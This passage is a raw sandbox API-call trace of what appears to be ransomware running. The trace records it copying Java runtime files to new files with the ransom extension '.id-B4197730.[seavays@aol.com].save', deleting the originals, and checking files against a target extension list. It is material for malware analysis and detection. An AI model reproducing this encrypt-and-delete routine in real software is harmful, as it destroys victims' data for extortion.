hTemplateFile=0x0) returned 0x33c [0208.258] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=255040) returned 1 [0208.258] CloseHandle (hObject=0x33c) returned 1 [0208.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0208.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.258] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0208.258] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0208.258] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0208.258] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0208.259] GetLastError () returned 0x0 [0208.259] ReadFile (in: hFile=0x33c, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x3e440, lpOverlapped=0x0) returned 1 [0208.269] WriteFile (in: hFile=0x35c, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x3e450, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x3e450, lpOverlapped=0x0) returned 1 [0208.276] ReadFile (in: hFile=0x33c, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0208.276] WriteFile (in: hFile=0x35c, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xe2, lpOverlapped=0x0) returned 1 [0208.276] SetEndOfFile (hFile=0x35c) returned 1 [0208.276] CloseHandle (hObject=0x35c) returned 1 [0208.276] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0208.276] SetEndOfFile (hFile=0x33c) returned 1 [0208.278] CloseHandle (hObject=0x33c) returned 1 [0208.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0208.279] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 1 [0208.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.279] lstrlenW (lpString=".doc") returned 4 [0208.279] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0208.279] lstrlenW (lpString=".docx") returned 5 [0208.279] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0208.279] lstrlenW (lpString=".pdf") returned 4 [0208.279] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0208.279] lstrlenW (lpString=".xls") returned 4 [0208.279] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0208.279] lstrlenW (lpString=".xlsx") returned 5 [0208.279] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0208.279] lstrlenW (lpString=".ppt") returned 4 [0208.279] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0208.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.279] lstrlenW (lpString=".zip") returned 4 [0208.280] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0208.280] lstrlenW (lpString=".rar") returned 4 [0208.280] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0208.280] lstrlenW (lpString=".bz2") returned 4 [0208.280] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0208.280] lstrlenW (lpString=".7z") returned 3 [0208.280] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0208.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.280] lstrlenW (lpString=".dbf") returned 4 [0208.280] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0208.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.280] lstrlenW (lpString=".1cd") returned 4 [0208.280] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0208.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.280] lstrlenW (lpString=".jpg") returned 4 [0208.280] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0208.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.280] lstrlenW (lpString=".doc") returned 4 [0208.280] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0208.280] lstrlenW (lpString=".docx") returned 5 [0208.280] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0208.280] lstrlenW (lpString=".pdf") returned 4 [0208.280] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0208.280] lstrlenW (lpString=".xls") returned 4 [0208.280] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0208.280] lstrlenW (lpString=".xlsx") returned 5 [0208.280] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0208.280] lstrlenW (lpString=".ppt") returned 4 [0208.280] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0208.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.281] lstrlenW (lpString=".zip") returned 4 [0208.281] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0208.281] lstrlenW (lpString=".rar") returned 4 [0208.281] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0208.281] lstrlenW (lpString=".bz2") returned 4 [0208.281] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0208.281] lstrlenW (lpString=".7z") returned 3 [0208.281] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0208.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.281] lstrlenW (lpString=".dbf") returned 4 [0208.281] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0208.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.281] lstrlenW (lpString=".1cd") returned 4 [0208.281] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0208.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0208.281] lstrlenW (lpString=".jpg") returned 4 [0208.281] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0208.281] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0208.281] lstrlenW (lpString="tnameserv.exe") returned 13 [0208.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0208.621] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=16448) returned 1 [0208.621] CloseHandle (hObject=0x33c) returned 1 [0208.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0208.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.228] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.228] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0209.231] GetLastError () returned 0x0 [0209.231] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x4040, lpOverlapped=0x0) returned 1 [0209.241] WriteFile (in: hFile=0x354, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x4050, lpOverlapped=0x0) returned 1 [0209.243] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0209.243] WriteFile (in: hFile=0x354, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xee, lpOverlapped=0x0) returned 1 [0209.244] SetEndOfFile (hFile=0x354) returned 1 [0209.244] CloseHandle (hObject=0x354) returned 1 [0209.244] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.244] SetEndOfFile (hFile=0x364) returned 1 [0209.245] CloseHandle (hObject=0x364) returned 1 [0209.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.246] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1 [0209.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.246] lstrlenW (lpString=".doc") returned 4 [0209.246] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0209.246] lstrlenW (lpString=".docx") returned 5 [0209.246] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0209.246] lstrlenW (lpString=".pdf") returned 4 [0209.246] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0209.246] lstrlenW (lpString=".xls") returned 4 [0209.247] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0209.247] lstrlenW (lpString=".xlsx") returned 5 [0209.247] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0209.247] lstrlenW (lpString=".ppt") returned 4 [0209.247] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0209.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.247] lstrlenW (lpString=".zip") returned 4 [0209.247] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0209.247] lstrlenW (lpString=".rar") returned 4 [0209.247] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0209.247] lstrlenW (lpString=".bz2") returned 4 [0209.247] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0209.247] lstrlenW (lpString=".7z") returned 3 [0209.247] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0209.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.247] lstrlenW (lpString=".dbf") returned 4 [0209.247] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0209.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.247] lstrlenW (lpString=".1cd") returned 4 [0209.247] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0209.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.248] lstrlenW (lpString=".jpg") returned 4 [0209.248] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0209.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.248] lstrlenW (lpString=".doc") returned 4 [0209.248] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0209.248] lstrlenW (lpString=".docx") returned 5 [0209.248] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0209.249] lstrlenW (lpString=".pdf") returned 4 [0209.249] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0209.249] lstrlenW (lpString=".xls") returned 4 [0209.249] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0209.249] lstrlenW (lpString=".xlsx") returned 5 [0209.249] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0209.249] lstrlenW (lpString=".ppt") returned 4 [0209.249] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0209.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.249] lstrlenW (lpString=".zip") returned 4 [0209.249] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0209.249] lstrlenW (lpString=".rar") returned 4 [0209.249] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0209.249] lstrlenW (lpString=".bz2") returned 4 [0209.249] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0209.249] lstrlenW (lpString=".7z") returned 3 [0209.249] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0209.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.249] lstrlenW (lpString=".dbf") returned 4 [0209.249] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0209.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.249] lstrlenW (lpString=".1cd") returned 4 [0209.249] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0209.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0209.249] lstrlenW (lpString=".jpg") returned 4 [0209.249] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0209.250] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0209.250] lstrlenW (lpString="zip.dll") returned 7 [0209.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.251] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=77888) returned 1 [0209.251] CloseHandle (hObject=0x364) returned 1 [0209.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0209.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.251] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.252] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.252] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.252] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0209.253] GetLastError () returned 0x0 [0209.253] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x13040, lpOverlapped=0x0) returned 1 [0209.268] WriteFile (in: hFile=0x354, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x13050, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x13050, lpOverlapped=0x0) returned 1 [0209.271] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0209.271] WriteFile (in: hFile=0x354, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xe2, lpOverlapped=0x0) returned 1 [0209.271] SetEndOfFile (hFile=0x354) returned 1 [0209.271] CloseHandle (hObject=0x354) returned 1 [0209.272] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.272] SetEndOfFile (hFile=0x364) returned 1 [0209.274] CloseHandle (hObject=0x364) returned 1 [0209.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.274] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 1 [0209.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.275] lstrlenW (lpString=".doc") returned 4 [0209.275] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.275] lstrlenW (lpString=".docx") returned 5 [0209.275] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0209.275] lstrlenW (lpString=".pdf") returned 4 [0209.275] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.275] lstrlenW (lpString=".xls") returned 4 [0209.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.275] lstrlenW (lpString=".xlsx") returned 5 [0209.275] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0209.275] lstrlenW (lpString=".ppt") returned 4 [0209.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.275] lstrlenW (lpString=".zip") returned 4 [0209.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.275] lstrlenW (lpString=".rar") returned 4 [0209.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.276] lstrlenW (lpString=".bz2") returned 4 [0209.276] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.276] lstrlenW (lpString=".7z") returned 3 [0209.276] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.276] lstrlenW (lpString=".dbf") returned 4 [0209.276] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.276] lstrlenW (lpString=".1cd") returned 4 [0209.276] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.276] lstrlenW (lpString=".jpg") returned 4 [0209.276] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.276] lstrlenW (lpString=".doc") returned 4 [0209.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.276] lstrlenW (lpString=".docx") returned 5 [0209.276] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0209.276] lstrlenW (lpString=".pdf") returned 4 [0209.276] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.276] lstrlenW (lpString=".xls") returned 4 [0209.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.276] lstrlenW (lpString=".xlsx") returned 5 [0209.276] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0209.277] lstrlenW (lpString=".ppt") returned 4 [0209.277] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.277] lstrlenW (lpString=".zip") returned 4 [0209.277] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.277] lstrlenW (lpString=".rar") returned 4 [0209.277] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.277] lstrlenW (lpString=".bz2") returned 4 [0209.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.277] lstrlenW (lpString=".7z") returned 3 [0209.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.277] lstrlenW (lpString=".dbf") returned 4 [0209.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.277] lstrlenW (lpString=".1cd") returned 4 [0209.277] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0209.277] lstrlenW (lpString=".jpg") returned 4 [0209.277] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.277] lstrcmpiW (lpString1=".0_144\\COPYRIGHT", lpString2=".save") returned -1 [0209.278] lstrlenW (lpString="COPYRIGHT") returned 9 [0209.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.279] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=3244) returned 1 [0209.279] CloseHandle (hObject=0x364) returned 1 [0209.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0209.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0209.279] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.652] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0209.652] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.653] GetLastError () returned 0x0 [0209.653] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0xcac, lpOverlapped=0x0) returned 1 [0209.662] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, 